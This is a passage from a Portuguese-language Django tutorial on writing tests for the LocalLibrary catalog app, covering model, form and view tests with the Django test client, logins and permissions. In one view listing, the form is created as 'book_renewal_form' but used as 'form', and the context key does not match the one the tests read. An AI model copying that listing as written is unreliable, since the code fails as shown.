importamos `TestCase` e derivamos nossa classe de teste (`AuthorModelTest`) a partir dela, usando um nome descritivo para que possamos identificar facilmente quaiquer testes com falha na saída do teste. Nós então chamamos `setUpTestData()` para criar um objeto autor que iremos usar mas não modificaremos em nenhum dos testes.\n\n\n```python\nfrom django.test import TestCase\n\nfrom catalog.models import Author\n\nclass AuthorModelTest(TestCase):\n    @classmethod\n    def setUpTestData(cls):\n        # Set up non-modified objects used by all test methods\n        Author.objects.create(first_name='Big', last_name='Bob')\n\n    def test\\_first\\_name\\_label(self):\n        author = Author.objects.get(id=1)\n        field_label = author._meta.get_field('first\\_name').verbose_name\n        self.assertEquals(field_label, 'first name')\n\n    def test\\_date\\_of\\_death\\_label(self):\n        author=Author.objects.get(id=1)\n        field_label = author._meta.get_field('date\\_of\\_death').verbose_name\n        self.assertEquals(field_label, 'died')\n\n    def test\\_first\\_name\\_max\\_length(self):\n        author = Author.objects.get(id=1)\n        max_length = author._meta.get_field('first\\_name').max_length\n        self.assertEquals(max_length, 100)\n\n    def test\\_object\\_name\\_is\\_last\\_name\\_comma\\_first\\_name(self):\n        author = Author.objects.get(id=1)\n        expected_object_name = f'{author.last\\_name}, {author.first\\_name}'\n        self.assertEquals(expected_object_name, str(author))\n\n    def test\\_get\\_absolute\\_url(self):\n        author = Author.objects.get(id=1)\n        # This will also fail if the urlconf is not defined.\n        self.assertEquals(author.get_absolute_url(), '/catalog/author/1')\n```\n\n\nOs testes de campo verificam se os valores dos *labels* dos campos (`verbose_name`) e se o tamanho dos campos de caracteres são como esperado. Todos esses métodos possuem nomes descritivos e seguem o mesmo padrão:\n\n\n```python\n# Get an author object to test\nauthor = Author.objects.get(id=1)\n\n# Get the metadata for the required field and use it to query the required field data\nfield_label = author._meta.get_field('first\\_name').verbose_name\n\n# Compare the value to the expected result\nself.assertEquals(field_label, 'first name')\n```\n\n\nAs coisas interessantes a serem observadas aqui:\n\n* Não podemos obter `verbose_name` diretamente utilizando `author.first_name.verbose_name`, porque `author.first_name` é uma *string* (não um identificador para o objeto `first_name` que podemos utilizar para acessar suas propriedades). Em vez disso, precisamos utilizar o atributo `_meta` de *author* para obter uma instância do campo e usá-la para consultar informações adicionais.\n* Optamos por utilizar `assertEquals(field_label,'first name')` em vez de `assertTrue(field_label == 'first name')`. A razão para isso é que, se o teste falhar a saída do primeiro informa o que realmente era o *label*, que torna a depuração do problema um pouco mais fácil.\n\n**Nota:** Testes para os rótulos `last_name` e `date_of_birth` e também para o teste para o tamanho do `last_name` field foram omitidos. Adicione suas próprias versões agora, seguindo as convenções de nomeclatura e abordagens mostradas acima.\n\nTambém precisamos testar nossos métodos personalizados. Eles, essencialmente, apenas verificam se o nome do objeto foi construido como esperamos, usando o formato \"Last Name\", \"First Name\", e se a URL que obtemos para um item de `Author` é o que esperávamos.\n\n\n```python\ndef test\\_object\\_name\\_is\\_last\\_name\\_comma\\_first\\_name(self):\n    author = Author.objects.get(id=1)\n    expected_object_name = f'{author.last\\_name}, {author.first\\_name}'\n    self.assertEquals(expected_object_name, str(author))\n\ndef test\\_get\\_absolute\\_url(self):\n    author = Author.objects.get(id=1)\n    # This will also fail if the urlconf is not defined.\n    self.assertEquals(author.get_absolute_url(), '/catalog/author/1')\n```\n\n\nExecute os testes agora. Se você criou o modelo Author como descrevemos no tutorial de modelos, é bem provável que você obtenha um erro para o *label* `date_of_death` como mostrado abaixo. O teste está falhando porque foi escrito esperando que a definição do *label* siga a convenção do Django de não colocar em maíúscula a primeira letra do *label* (Django faz isso por você).\n\n\n```bash\n======================================================================\nFAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n  File \"D:\\...\\locallibrary\\catalog\\tests\\test\\_models.py\", line 32, in test_date_of_death_label\n    self.assertEquals(field_label,'died')\nAssertionError: 'Died' != 'died'\n- Died\n? ^\n+ died\n? ^\n```\n\n\nEste é um bug muito pequeno, mas destaca como a escrita de testes pode verificar mais minuciosamente quaislquer suposições que você tenha feito.\n\n**Nota:** Altere o *label* para o campo date\\_of\\_death (/catalog/models.py) para \"died\" e re-executes os testes.\n\nOs padrões para testar os outros modelos são semelhantes, portanto não continuaremos discutindo mais isso. Sinta-se livre para criar seus próprios testes para nossos outros modelos.\n\n### Forms\n\nA filosofia para testar seus *forms* é a mesma que para testar seus *models*; você precisa testar qualquer coisa que tenha codificado ou seu projeto especifica, mas não o comportamento do framework subjacente e outras bibliotecas de terceiros\n\nGeralmente, isso significa que você deve testar se os *forms* têm os campos que você deseja e se esses são exibidos com os *labels* e texto de ajuda apropriados. Você não precisa verificar se o Django o tipo de campo corretamente (a menos que você tenha criado seu próprio campo e validação personalizados) — ex. você não precisa testar se um campo de email aceita apenas email. No entanto, você precisaria testar qualquer validação adicional que você espera que seja executada nos campos e quaisquer mensagens que seu código irá gerar para erros.\n\nConsidere nosso *form* para renovação de livros. Ele tem apenas um campo para data de renovação, que terá um *label* e um texto de ajuda que precisaremos verificar.\n\n\n```python\nclass RenewBookForm(forms.Form):\n    \"\"\"Form for a librarian to renew books.\"\"\"\n    renewal_date = forms.DateField(help_text=\"Enter a date between now and 4 weeks (default 3).\")\n\n    def clean\\_renewal\\_date(self):\n        data = self.cleaned_data['renewal\\_date']\n\n        # Check if a date is not in the past.\n        if data < datetime.date.today():\n            raise ValidationError(_('Invalid date - renewal in past'))\n\n        # Check if date is in the allowed range (+4 weeks from today).\n        if data > datetime.date.today() + datetime.timedelta(weeks=4):\n            raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))\n\n        # Remember to always return the cleaned data.\n        return data\n```\n\n\nAbra nosso arquivo **/catalog/tests/test\\_forms.py** e substitua qualquer código existente pelo seguinte código de teste para o *form* `RenewBookForm`. Nós iniciamos importando nosso *form* e algumas bibliotecas Python e Django para ajudar testar funcionalidades relacionadas ao tempo. Em seguida, declaramos nossa classe de teste do *form,* da mesma maneira que fizemos para *models*, usando um nome descritivo para a classe de teste derivada de `TestCase`.\n\n\n```python\nimport datetime\n\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom catalog.forms import RenewBookForm\n\nclass RenewBookFormTest(TestCase):\n    def test\\_renew\\_form\\_date\\_field\\_label(self):\n        form = RenewBookForm()\n        self.assertTrue(form.fields['renewal\\_date'].label == None or form.fields['renewal\\_date'].label == 'renewal date')\n\n    def test\\_renew\\_form\\_date\\_field\\_help\\_text(self):\n        form = RenewBookForm()\n        self.assertEqual(form.fields['renewal\\_date'].help_text, 'Enter a date between now and 4 weeks (default 3).')\n\n    def test\\_renew\\_form\\_date\\_in\\_past(self):\n        date = datetime.date.today() - datetime.timedelta(days=1)\n        form = RenewBookForm(data={'renewal\\_date': date})\n        self.assertFalse(form.is_valid())\n\n    def test\\_renew\\_form\\_date\\_too\\_far\\_in\\_future(self):\n        date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1)\n        form = RenewBookForm(data={'renewal\\_date': date})\n        self.assertFalse(form.is_valid())\n\n    def test\\_renew\\_form\\_date\\_today(self):\n        date = datetime.date.today()\n        form = RenewBookForm(data={'renewal\\_date': date})\n        self.assertTrue(form.is_valid())\n\n    def test\\_renew\\_form\\_date\\_max(self):\n        date = timezone.localtime() + datetime.timedelta(weeks=4)\n        form = RenewBookForm(data={'renewal\\_date': date})\n        self.assertTrue(form.is_valid())\n```\n\n\nAs primeiras duas funções testam se os campos `label` e `help_text` são como esperados. Temos que acessar o campo usando o dicionário de campos (ex. `form.fields['renewal_date']`). Observe aqui que também precisamos testar se o valor do *label* é `None`, porque mesmo que o Django processe o *label* correto, retornará `None` se o valor não estiver definido explicitamente.\n\nO restante das funções testam se o form é valido para datas de renovação dentro do intervalo aceitável e inválido para os valores foram do intervalo. Observe como construimos os valores teste de data em torno de nossa data atual (`datetime.date.today()`) usando `datetime.timedelta()` (nesse caso, especificando um número de dias ou semanas). Então, apenas criamos o *form*, passando nossos dados e testando se é válido.\n\n**Nota:** Aqui, na realidade, não usamos o banco de dados ou cliente teste. Considere modificar essses testes para utilizar SimpleTestCase.\n\nTambém precisamos validar que os erros corretos sejam gerados se o form é inválido, no entanto, isso geralmente é feito no processamento da view, portanto trataremos disso na próxima seção.\n\nIsso é tudo para *forms*; nós temos alguns outros, mas eles são automaticamente criados pelas nossas *views* de edição baseada na classe genérica, e devem ser testadas lá! Execute os testes e confirme se nosso código ainda passa!\n\n### Views\n\nPara validar o comportamento das nossas *views*, utilzamos Client de teste do Django. Essa classe funciona como um navegador web fictício que podemos usar para simular requisições `GET` and `POST` em uma URL e observar a resposta. Podemos ver quase tudo sobre a resposta, desde HTTP de baixo nível (cabeçalhos de resultados e códigos de status) até o *template* que estamos utilizando para renderizar o HTML e os dados de contexto que estamos passando para ele. Também podemos ver a cadeia de redirecionamentos (se houver) e verificar a URL e o código de status em cada etapa. Isso nos permite verificar se cada *view* esta fazendo o que é esperado.\n\nVamos iniciar com uma de nossas *views* mais simples, que fornece uma lista de todos Autores. Isso é exibido na URL **/catalog/authors/** (uma URL chamada 'authors' na configuração de URL).\n\n\n```python\nclass AuthorListView(generic.ListView):\n    model = Author\n    paginate_by = 10\n```\n\n\nComo esta é uma *list view* genérica, quase tudo é feito para nós pelo Django. Provavelmente, se você confia no Django, então a única coisa que você precisa testar é se a *view* é acessível na URL correta e pode ser acessada usando seu nome. No entanto, se você está usando um desenvolvimento orientado a testes, você iniciará escrevendo testes que confirmam que a *view* exibe todos Autores, paginando-os em lotes de 10.\n\nAbra o arquivo **/catalog/tests/test\\_views.py** e substitua qualquer texto existente pelo seguinte código de teste para `AuthorListView`. Como antes, importamos nosso *model* e algumas classe úteis. No método `setUpTestData()` configuramos vários objetos `Author` para que possamos testar nossa paginação.\n\n\n```python\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom catalog.models import Author\n\nclass AuthorListViewTest(TestCase):\n    @classmethod\n    def setUpTestData(cls):\n        # Create 13 authors for pagination tests\n        number_of_authors = 13\n\n        for author_id in range(number_of_authors):\n            Author.objects.create(\n                first_name=f'Christian {author\\_id}',\n                last_name=f'Surname {author\\_id}',\n            )\n\n    def test\\_view\\_url\\_exists\\_at\\_desired\\_location(self):\n        response = self.client.get('/catalog/authors/')\n        self.assertEqual(response.status_code, 200)\n\n    def test\\_view\\_url\\_accessible\\_by\\_name(self):\n        response = self.client.get(reverse('authors'))\n        self.assertEqual(response.status_code, 200)\n\n    def test\\_view\\_uses\\_correct\\_template(self):\n        response = self.client.get(reverse('authors'))\n        self.assertEqual(response.status_code, 200)\n        self.assertTemplateUsed(response, 'catalog/author\\_list.html')\n\n    def test\\_pagination\\_is\\_ten(self):\n        response = self.client.get(reverse('authors'))\n        self.assertEqual(response.status_code, 200)\n        self.assertTrue('is\\_paginated' in response.context)\n        self.assertTrue(response.context['is\\_paginated'] == True)\n        self.assertTrue(len(response.context['author\\_list']) == 10)\n\n    def test\\_lists\\_all\\_authors(self):\n        # Get second page and confirm it has (exactly) remaining 3 items\n        response = self.client.get(reverse('authors')+'?page=2')\n        self.assertEqual(response.status_code, 200)\n        self.assertTrue('is\\_paginated' in response.context)\n        self.assertTrue(response.context['is\\_paginated'] == True)\n        self.assertTrue(len(response.context['author\\_list']) == 3)\n```\n\n\nTodos os teste usam o cliente (pertenecente a nossa classe derivada `TestCase`'s) para simular uma requisição `GET` e obter uma resposta. A primeira versão verifica uma URL específica URL (observe, apenas o caminho específico, sem o domínio), enquanto a segunda gera a URL a partir do seu nome na configuração da URL.\n\n\n```python\nresponse = self.client.get('/catalog/authors/')\nresponse = self.client.get(reverse('authors'))\n```\n\n\nUma vez que temos a resposta, consultamos o seu código de status, o *template* usado, se a resposta é paginada ou não, o número de itens retonado e o número total de itens.\n\n**Nota:** Nota: Se você definir a variável `paginate_by` em seu arquivo **/catalog/views.py** para um número diferente de 10, atualize as linhas que testam se o número correto de itens é exibido nos *templates* paginados acima e nas seções seguintes. Por exemplo, se você definiu a variável para a lista de autor para 5, atualize a linha acima para:\n\n\n```python\nself.assertTrue(len(response.context['author\\_list']) == 5)\n```\n\n\nA variável mais importante que demonstramos acima é `response.context`, que é a variável de contexto passada para o *template* pela *view*. Isso é incrivelmente útil para testes, porque permite confirmar que nosso template está obtendo todos os dados necessários. Em outras palavras, podemos verificar se estamos utilizando o *template* pretendido e quais dados o *template* está obtendo, o que ajuda bastante a verificar que alguns problemas de renderização são apenas devido ao *template*.\n\n#### *Views* restritas a usuários logados\n\nEm alguns casos, você desejará testar uma *view* que é restrita apenas aos usuários logados. Por exemplo, nossa `LoanedBooksByUserListView` é muito similar a nossa *view* anterior, mas está disponível apenas para usuários logados e exibe apenas os registros `BookInstance` que são emprestados pelo usuário atual, têm o status 'emprestado' e são ordenados \"mais antigos primeiro\".\n\n\n```python\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nclass LoanedBooksByUserListView(LoginRequiredMixin, generic.ListView):\n    \"\"\"Generic class-based view listing books on loan to current user.\"\"\"\n    model = BookInstance\n    template_name ='catalog/bookinstance\\_list\\_borrowed\\_user.html'\n    paginate_by = 10\n\n    def get\\_queryset(self):\n        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due\\_back')\n```\n\n\nAdicione o código seguinte ao **/catalog/tests/test\\_views.py**. Aqui, primeiro usamos `SetUp()` para criar alguma contas de login de usuário e objetos `BookInstance` (junto com seus livros associados e outros registros) que usaremos posteriormente nos testes. Metade dos livros são emprestados para cada usuário teste, mas inicialmente definimos o status de todos os livros como \"manutenção\". Usamos `SetUp()` em vez de `setUpTestData()` porque modificaremos alguns desses objetos depois.\n\n**Nota:** O código `setUp()` abaixo, cria um livro com uma `Language` especificada, mas seu código pode não incluir o *model* `Language`, pois foi criado como um desafio. Se esse for o caso, simplesmente comente as partes do código que cria ou importa objetos *Language*. Você também deve fazer isso na seção `RenewBookInstancesViewTest` a seguir.\n\n\n```python\nimport datetime\n\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User # Required to assign User as a borrower\n\nfrom catalog.models import BookInstance, Book, Genre, Language\n\nclass LoanedBookInstancesByUserListViewTest(TestCase):\n    def setUp(self):\n        # Create two users\n        test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK')\n        test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD')\n\n        test_user1.save()\n        test_user2.save()\n\n        # Create a book\n        test_author = Author.objects.create(first_name='John', last_name='Smith')\n        test_genre = Genre.objects.create(name='Fantasy')\n        test_language = Language.objects.create(name='English')\n        test_book = Book.objects.create(\n            title='Book Title',\n            summary='My book summary',\n            isbn='ABCDEFG',\n            author=test_author,\n            language=test_language,\n        )\n\n        # Create genre as a post-step\n        genre_objects_for_book = Genre.objects.all()\n        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.\n        test_book.save()\n\n        # Create 30 BookInstance objects\n        number_of_book_copies = 30\n        for book_copy in range(number_of_book_copies):\n            return_date = timezone.localtime() + datetime.timedelta(days=book_copy%5)\n            the_borrower = test_user1 if book_copy % 2 else test_user2\n            status = 'm'\n            BookInstance.objects.create(\n                book=test_book,\n                imprint='Unlikely Imprint, 2016',\n                due_back=return_date,\n                borrower=the_borrower,\n                status=status,\n            )\n\n    def test\\_redirect\\_if\\_not\\_logged\\_in(self):\n        response = self.client.get(reverse('my-borrowed'))\n        self.assertRedirects(response, '/accounts/login/?next=/catalog/mybooks/')\n\n    def test\\_logged\\_in\\_uses\\_correct\\_template(self):\n        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')\n        response = self.client.get(reverse('my-borrowed'))\n\n        # Check our user is logged in\n        self.assertEqual(str(response.context['user']), 'testuser1')\n        # Check that we got a response \"success\"\n        self.assertEqual(response.status_code, 200)\n\n        # Check we used correct template\n        self.assertTemplateUsed(response, 'catalog/bookinstance\\_list\\_borrowed\\_user.html')\n```\n\n\nPara verificar se a *view* será redirecionada para uma página de login se o usuário não estiver logado, usamos `assertRedirects`, como demonstrado em `test_redirect_if_not_logged_in()`. Para verificar se a página é exibida para um usuário logado, primeiro logamos com nosso usuário teste e então acessamos a página novamente e verificamos se obtivemos um `status_code` de 200 (successo).\n\nO restante dos testes verificam se nossa *view* retorna apenas livros emprestados ao nosso usuário atual. Copie o código abaixo e cole no final da classe de teste acima.\n\n\n```python\n    def test\\_only\\_borrowed\\_books\\_in\\_list(self):\n        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')\n        response = self.client.get(reverse('my-borrowed'))\n\n        # Check our user is logged in\n        self.assertEqual(str(response.context['user']), 'testuser1')\n        # Check that we got a response \"success\"\n        self.assertEqual(response.status_code, 200)\n\n        # Check that initially we don't have any books in list (none on loan)\n        self.assertTrue('bookinstance\\_list' in response.context)\n        self.assertEqual(len(response.context['bookinstance\\_list']), 0)\n\n        # Now change all books to be on loan\n        books = BookInstance.objects.all()[:10]\n\n        for book in books:\n            book.status = 'o'\n            book.save()\n\n        # Check that now we have borrowed books in the list\n        response = self.client.get(reverse('my-borrowed'))\n        # Check our user is logged in\n        self.assertEqual(str(response.context['user']), 'testuser1')\n        # Check that we got a response \"success\"\n        self.assertEqual(response.status_code, 200)\n\n        self.assertTrue('bookinstance\\_list' in response.context)\n\n        # Confirm all books belong to testuser1 and are on loan\n        for bookitem in response.context['bookinstance\\_list']:\n            self.assertEqual(response.context['user'], bookitem.borrower)\n            self.assertEqual('o', bookitem.status)\n\n    def test\\_pages\\_ordered\\_by\\_due\\_date(self):\n        # Change all books to be on loan\n        for book in BookInstance.objects.all():\n            book.status='o'\n            book.save()\n\n        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')\n        response = self.client.get(reverse('my-borrowed'))\n\n        # Check our user is logged in\n        self.assertEqual(str(response.context['user']), 'testuser1')\n        # Check that we got a response \"success\"\n        self.assertEqual(response.status_code, 200)\n\n        # Confirm that of the items, only 10 are displayed due to pagination.\n        self.assertEqual(len(response.context['bookinstance\\_list']), 10)\n\n        last_date = 0\n        for book in response.context['bookinstance\\_list']:\n            if last_date == 0:\n                last_date = book.due_back\n            else:\n                self.assertTrue(last_date <= book.due_back)\n                last_date = book.due_back\n```\n\n\nVocê também pode adicionar testes de paginação, se desejar!\n\n#### Testando *views* com *forms*\n\nTestar views com forms é um pouco mais complicado que nos casos acima, porque você precisa testar mais caminhos de código: exibição inicial, exibição após falha de validação de dados e exibição após validação com sucesso. A boa notícia é que usamos o cliente para testar quase exatamente da mesma maneira que fizemos para *views* somente de exibição.\n\nPara demonstrar, vamos escrever alguns testes para a *view* usada para renovar livros (`renew_book_librarian()`):\n\n\n```python\nfrom catalog.forms import RenewBookForm\n\n@permission\\_required('catalog.can\\_mark\\_returned')\ndef renew\\_book\\_librarian(request, pk):\n    \"\"\"View function for renewing a specific BookInstance by librarian.\"\"\"\n    book_instance = get_object_or_404(BookInstance, pk=pk)\n\n    # If this is a POST request then process the Form data\n    if request.method == 'POST':\n\n        # Create a form instance and populate it with data from the request (binding):\n        book_renewal_form = RenewBookForm(request.POST)\n\n        # Check if the form is valid:\n        if form.is_valid():\n            # process the data in form.cleaned\\_data as required (here we just write it to the model due\\_back field)\n            book_instance.due_back = form.cleaned_data['renewal\\_date']\n            book_instance.save()\n\n            # redirect to a new URL:\n            return HttpResponseRedirect(reverse('all-borrowed'))\n\n    # If this is a GET (or any other method) create the default form\n    else:\n        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)\n        book_renewal_form = RenewBookForm(initial={'renewal\\_date': proposed_renewal_date})\n\n    context = {\n        'book\\_renewal\\_form': book_renewal_form,\n        'book\\_instance': book_instance,\n    }\n\n    return render(request, 'catalog/book\\_renew\\_librarian.html', context)\n```\n\n\nPrecisamos testar se a *view* está disponível apenas para usuários que têm a permissão `can_mark_returned`, e se eles são direcionados para uma página de erro HTTP 404 se tentarem renovar um `BookInstance` que não existe. Devemos verificar se o valor inicial do form é propagado com uma data três semanas no futuro e se a validação for bem sucedida somos redirecionados para a *view* \"all-borrowed books\". Como parte da verificação dos testes de falha de validação, também verificaremos se nosso *form* está enviando mensagens de erro apropriadas.\n\nAdicione a primeira parte da classe de teste (mostrada abaixo) na parte inferior de **/catalog/tests/test\\_views.py**. Isso cria dois usuários e duas instâncias de livro, mas apenas concede a um usuário a permissão necessária para acessar a *view*. O código para conceder permissões durante os testes é mostrado em negrito:\n\n\n```python\nimport uuid\n\nfrom django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned.\n\nclass RenewBookInstancesViewTest(TestCase):\n    def setUp(self):\n        # Create a user\n        test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK')\n        test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD')\n\n        test_user1.save()\n        test_user2.save()\n\n        permission = Permission.objects.get(name='Set book as returned')\n        test_user2.user_permissions.add(permission)\n        test_user2.save()\n\n        # Create a book\n        test_author = Author.objects.create(first_name='John', last_name='Smith')\n        test_genre = Genre.objects.create(name='Fantasy')\n        test_language = Language.objects.create(name='English')\n        test_book = Book.objects.create(\n            title='Book Title',\n            summary='My book summary',\n            isbn='ABCDEFG',\n            author=test_author,\n            language=test_language,\n        )\n\n        # Create genre as a post-step\n        genre_objects_for_book = Genre.objects.all()\n        test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed.\n        test_book.save()\n\n        # Create a BookInstance object for test\\_user1\n        return_date = datetime.date.today() + datetime.timedelta(days=5)\n        self.test_bookinstance1 = BookInstance.objects.create(\n            book=test_book,\n            imprint='Unlikely Imprint, 2016',\n            due_back=return_date,\n            borrower=test_user1,\n            status='o',\n        )\n\n        # Create a BookInstance object for test\\_user2\n        return_date = datetime.date.today() + datetime.timedelta(days=5)\n        self.test_bookinstance2 = BookInstance.objects.create(\n            book=test_book,\n            imprint='Unlikely Imprint, 2016',\n            due_back=return_date,\n            borrower=test_user2,\n            status='o',\n        )\n```\n\n\nAdicione os seguintes testes na parte inferior da classe de teste. Eles verificam se apenas usuários com a permissão correta (testuser2) podem aceesar a *view*. Verificamos todos os casos: quando o usuários não está logado, quando um usuário está logado mas não tem as permissões corretas, quando o usuário possui permissões, mas não é o tomador do empréstimo (deve ter êxito), e o que acontece quando eles tentam acessar uma `BookInstance` que não existe. Também verificamos se o *template* correto é utilizado.\n\n\n```python\n   def test\\_redirect\\_if\\_not\\_logged\\_in(self):\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))\n        # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable)\n        self.assertEqual(response.status_code, 302)\n        self.assertTrue(response.url.startswith('/accounts/login/'))\n\n    def test\\_redirect\\_if\\_logged\\_in\\_but\\_not\\_correct\\_permission(self):\n        login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK')\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))\n        self.assertEqual(response.status_code, 403)\n\n    def test\\_logged\\_in\\_with\\_permission\\_borrowed\\_book(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance2.pk}))\n\n        # Check that it lets us login - this is our book and we have the right permissions.\n        self.assertEqual(response.status_code, 200)\n\n    def test\\_logged\\_in\\_with\\_permission\\_another\\_users\\_borrowed\\_book(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))\n\n        # Check that it lets us login. We're a librarian, so we can view any users book\n        self.assertEqual(response.status_code, 200)\n\n    def test\\_HTTP404\\_for\\_invalid\\_book\\_if\\_logged\\_in(self):\n        # unlikely UID to match our bookinstance!\n        test_uid = uuid.uuid4()\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid}))\n        self.assertEqual(response.status_code, 404)\n\n    def test\\_uses\\_correct\\_template(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))\n        self.assertEqual(response.status_code, 200)\n\n        # Check we used correct template\n        self.assertTemplateUsed(response, 'catalog/book\\_renew\\_librarian.html')\n```\n\n\nAdicione o próximo método de teste, como mostrado abaixo. Isso verifica se a data inicial para o form é três semanas no futuro. Observe como podemos acessar o valor do valor inicial do campo do form (mostrado em negrito).\n\n\n```python\n    def test\\_form\\_renewal\\_date\\_initially\\_has\\_date\\_three\\_weeks\\_in\\_future(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}))\n        self.assertEqual(response.status_code, 200)\n\n        date_3_weeks_in_future = datetime.date.today() + datetime.timedelta(weeks=3)\n        self.assertEqual(response.context['form'].initial['renewal\\_date'], date_3_weeks_in_future)\n```\n\n\n**Aviso:** Se você usar a classe *form* `RenewBookModelForm(forms.ModelForm)` em vez da classe `RenewBookForm(forms.Form)`, então o nome do campo do *form* será **'due\\_back'** em vez de **'renewal\\_date'**.\n\nO próximo teste (adicione isso a classe também) verifica se a *view* redireciona para uma lista de todos livros emprestados, se a renovação for bem-sucedida. O que difere aqui é que pela primeira vez mostramos como você pode fazer `POST` de dados usando o cliente. Os dados do *post* são o segundo argumento da função *post*, e são especificados como um dicionário de chave/valores.\n\n\n```python\n    def test\\_redirects\\_to\\_all\\_borrowed\\_book\\_list\\_on\\_success(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        valid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=2)\n        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal\\_date':valid_date_in_future})\n        self.assertRedirects(response, reverse('all-borrowed'))\n```\n\n\n**Aviso:** A view *all-borrowed* foi adicionada como um *desafio*, e seu código pode, em vez disso, direcionar para a página inicial '/'. Nesse caso, modifique as últimas duas linhas do código de teste para que sejam como o código abaixo. O `follow=True` na solicitação, garante que a solicitação retorna a URL final de destino (portanto verifique `/catalog/` em vez de `/`).\n\n\n```python\n response = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal\\_date':valid_date_in_future}, follow=True )\n self.assertRedirects(response, '/catalog/')\n```\n\n\nCopie as última duas funções para a classe, como visto abaixo. Elas testam novamente as requisições `POST`, mas nesse caso, com datas inválidas de renovação. Utilizamos `assertFormError()` para verificar se as mensagens de erro são as esperadas.\n\n\n```python\n    def test\\_form\\_invalid\\_renewal\\_date\\_past(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        date_in_past = datetime.date.today() - datetime.timedelta(weeks=1)\n        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal\\_date': date_in_past})\n        self.assertEqual(response.status_code, 200)\n        self.assertFormError(response, 'form', 'renewal\\_date', 'Invalid date - renewal in past')\n\n    def test\\_form\\_invalid\\_renewal\\_date\\_future(self):\n        login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD')\n        invalid_date_in_future = datetime.date.today() + datetime.timedelta(weeks=5)\n        response = self.client.post(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk}), {'renewal\\_date': invalid_date_in_future})\n        self.assertEqual(response.status_code, 200)\n        self.assertFormError(response, 'form', 'renewal\\_date', 'Invalid date - renewal more than 4 weeks ahead')\n```\n\n\nOs mesmos tipos de técnicas podem ser usadas para testar a outra *view*.\n\n### *Templates*\n\nDjango fornece APIs de teste para verificar se o template correto esta sendo chamado por suas views, e para permitir que você verifique se a informação correta está sendo enviada. Entretanto, não há suporte específico à API para testar no Django que sua saída HTML seja renderizada conforme esperado.\n\nOutras ferramentas de teste recomendadas\n----------------------------------------\n\nO framework de teste do Django pode ajudar você a escrever eficazes testes unitários e de integração — nós apenas arranhamos a superfície do que o framework **unittest** pode fazer, muito menos as adições de Django (por exemplo, confira como você pode usar unittest.mock para corrigir bibliotecas de terceiros para que você possa testar mais detalhadamente seu próprio código).\n\nEmbora existam inúmeras outras ferramentas de teste que você pode utilizar, destacaremos apenas duas:\n\n* Coverage: Essa ferramenta Python reporta quando do seu código é realmente executado pelos seus testes. É particularmente útil quando você começando e está tentando descobrir o que exatamente deve testar.\n* Selenium (en-US) é um framework para automatizar testes em um navegador real. Ele permite simular um usuário real interagindo com o site e fornece uma excelente estrutura para o sistema testar seu site (a próxima etapa do teste de integração).\nDesafie-se\n----------\n\nExistem muito mais *models* e *views* que podemos testar. Como uma tarefa simples, tente criar um caso de teste para a *view* `AuthorCreate`.\n\n\n```python\nclass AuthorCreate(PermissionRequiredMixin, CreateView):\n    model = Author\n    fields = '\\_\\_all\\_\\_'\n    initial = {'date\\_of\\_death':'12/10/2016'}\n    permission_required = 'catalog.can\\_mark\\_returned'\n```\n\n\nLembre-se de que você precisa verificar qualquer coisa que você especificar ou que faça parte do projeto. Isso incluirá quem tem acesso, a data inicial, o *template* utilizado e para onde a view é redirecionada quando bem-sucedida.\n\nResumo\n------\n\nEscrever código de teste não é divertido nem glamuroso, e é consequentemente muitas vezes deixado por último (ou nem isso) ao criar um site. No entanto, é uma parte essencial para garantir que seu código esteja seguro para *release* após fazer alterações e de baixo custo de manutenção.\n\nNeste tutorial, mostramos como escrever e executar testes para seus *models*, *forms* e *views*. Mais importante ainda, fornecemos um breve resumo do que você deve testar, que geralmente é a coisa mais difícil de resolver quando você está iniciando. Há muito mais para conhecer, mas mesmo com o que você já 